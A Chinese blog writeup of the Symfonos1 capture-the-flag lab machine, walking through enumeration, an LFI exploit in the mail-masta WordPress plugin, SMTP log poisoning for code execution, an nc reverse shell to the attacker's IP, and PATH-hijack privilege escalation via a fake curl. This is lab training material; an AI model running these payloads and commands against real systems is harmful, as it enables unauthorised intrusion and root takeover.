美文网首页
Symfonos1靶机:Hacking Writeup

Symfonos1靶机:Hacking Writeup

作者: N8_xEnn7nA1 | 来源:发表于2019-10-19 17:08 被阅读0次

    Symfonos1 是 Symfonos 系列靶机的第一关。

    目录

    1、扫描

    • Netdiscover
    • Nmap

    2、枚举

    • SMB 共享目录
    • WPScan

    3、漏洞利用

    • 利用 WordPress 的 LFI 漏洞
    • 通过 SMTP 日志投毒使 LFI 漏洞来实现 RCE

    4、提权

    • 利用环境变量 PATH

    Let's get it!


    使用 netdiscover 命令来发现目标主机,这里靶机的 IP192.168.166.201

    • netdiscover -i eth0
    image.png

    使用 nmap 对靶机进行端口扫描,发现开放了以下端口:222580139445

    image.png

    接着使用使用 enum4linux 对靶机进行网络枚举,发现靶机存在一个名为 helios 的用户,以及两个 Samba 共享目录 /anonymous/helios

    image.png

    访问 Samba 共享目录:

    image.png image.png

    先访问 /anonymous 目录,因为该目录无须输入密码即可访问:

    image.png

    查看 attention.txt 文件的内容:

    image.png

    上面提到几个弱密码,可用来尝试进入 /helios 目录,尝试后发现弱密码 qwerty 可进入 /helios 目录:

    image.png

    发现两个文件,research.txttodo.txt ,查看其内容,发现 research.txt 没啥用,todo.txt 中提到了一个目录 /h3l105,这也许是 Web站点的路径,我们可以尝试在 Web 中访问,于是访问 http://192.168.166.201/h3l105/,发现是一个使用了 WordPress 搭建的站点:

    image.png image.png

    对该站点使用 BurpSuite 抓包可以看到,网站前端向服务器发请求的时候,还会请求一个域名 symfonos.local,其实该域名是就是指向靶机的 IP,所以我们在攻击机的 /etc/hosts 文件中加上该域名的解析记录:

    image.png

    然后使用 WPScan 对其进行扫描,加上 -ep 参数,枚举以下该站点使用的 wordpress 插件:

    image.png

    发现使用了 mail-mastasite-editor 这两个插件,使用 searchsploit 搜索一下看有没有相应的 exp

    image.png

    可以看到 mail-masta 这个插件的 1.0 版本存在两个漏洞,这里我们利用 LFI 漏洞,将 40290.txt 下载下来:

    image.png

    查看该文件,可看到该漏洞的 PoC 为:
    http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

    image.png

    于是我们访问:
    http://192.168.166.201/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

    可看到漏洞确实存在且可被利用:

    image.png

    因为前面端口扫描的时候,看到靶机还开放了 25 端口,该端口上运行的是 SMTP 邮件服务,所以下面我们通过 SMTP 日志投毒来使得 LFI 漏洞实现 RCE。

    访问 http://192.168.166.201/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios 可看到 /var/mail/helios 文件,该邮件记录的是 helios 用户收到的邮件信息。

    于是我们可以使用 telnet 通过命令行向 helios 用户发送邮件,在邮件中插入恶意的 php 代码:

    image.png

    发送后,通过访问 http://192.168.166.201/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&m=id 即可达到远程代码执行的效果

    image.png

    于是,用这种方式,使用 nc 命令,我们可以拿到一个反向 shell。

    先监听本机 5555 端口:

    image.png

    访问 http://192.168.166.201/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&m=nc%20-e%20/bin/bash%20192.168.166.176%205555

    得到反向 shell:

    image.png

    为了提权,我们先通过 find 命令寻找有 sticky 位的程序文件:

    • find / -perm -u=s -type f 2>/dev/null
    image.png

    我们选择其中的 /opt/statuscheck 程序,该文件是一个二进制文件,因此我们使用 strings 命令查看它的元数据:

    image.png

    可以看到,该程序会去调用 curl 命令。因此我们可以通过自建一个 curl 命令,并通过临时配置环境变量 PATH,使得当 /opt/statuscheck 程序执行的时候,调用我自建的 curl 命令,从而获得一个拥有 root 权限的 shell。

    依次执行下面的命令:

    cd /tmp
    echo "/bin/sh" > curl
    chmod 777 curl
    export PATH=/tmp:$PATH
    echo $PATH
    /opt/statuscheck
    
    image.png

    这种提权的方式,可阅读 Linux Privilege Escalation Using PATH Variable

    Hacking done.

    image.png

    相关文章

      网友评论

          本文标题:Symfonos1靶机:Hacking Writeup

          本文链接:https://www.haomeiwen.com/subject/wabgmctx.html